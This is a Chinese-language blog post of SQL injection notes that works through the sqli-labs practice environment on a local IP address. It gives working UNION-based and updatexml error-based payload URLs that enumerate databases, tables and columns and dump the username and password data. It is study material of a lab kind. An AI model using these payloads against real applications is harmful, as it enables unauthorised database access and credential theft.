SQL 注入从入门到实战

398 字
2 分钟
SQL 注入从入门到实战

SQL注入笔记#

一、测试有无SQL注入漏洞#

http://192.168.26.133/sqli/Less-1/?id=-1
输入?id=1能显示,-1不显示,即可判断有sql注入漏洞

二、找闭合符号#

需要先判断是否是数字还是字符串类型,是字符串才需要找闭合
http://192.168.26.133/sqli/Less-1/?id=1'
报错就代表找对了
常见的闭合符号有
'
"
')
")
'))
"))
http://192.168.26.133/sqli/Less-1/?id=1'--+
加入--+注释发现页面又可以正常显示,说明找对了

三、测试有多少字段#

http://192.168.26.133/sqli/Less-1/?id=1' order by < 这里是输入1-99来测试>--+
测试到报错,就可以知道有几个字段,就比如我这个测试到4报错,因为没有第四个字段,可以推测出来有三个字段

四、联合查询找回显点#

http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,3--+
id改为-1是为了让他报错,这样才可以显示出来回显点
这个网站的回显点是字段2和3

五、爆数据库名#

http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,database()--+
database() 是mysql查询数据库的参数
version() 是查询数据库版本的参数

六、爆所有数据库#

http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
group_concat 是连接字符串

七、爆表#

http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
table_schema 表的数据库

八、爆字段#

http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

九、爆数据#

http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,password) from security.users--+

十、报错查询#

http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select database()),'$'),1)--+
主要使用的是
updatexml(1,(concat('$',(sql 命令),'$')),1)
爆所有数据库
http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select schema_name from information_schema.schemata limit 2,1),'$'),1)--+
limit 0,1 0 指的是第几条数据,1是表示取几个,修改0即可
爆表
http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'$'),1)--+
爆字段
http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'$'),1)--+

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或打赏支持!

打赏
SQL 注入从入门到实战
https://www.linglog.cc/posts/sql-injection-guide/
作者
Jaye
发布于
2026-06-24
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
Jaye
风儿是自由的,它路过山河,路过我,却从不停留
公告
这里主要记录生活日常,偶尔也写点技术相关的内容,写得不好还请见谅——比起做技术博客,我更想把这里当成留住回忆的地方。
分类
标签
最新动态
站点统计
文章
36
分类
4
标签
76
总字数
41,486
运行时长
0
最后活动
0 天前
站点信息
构建平台
Vercel
博客版本
LingLog v6.15.9
文章许可
CC BY-NC-SA 4.0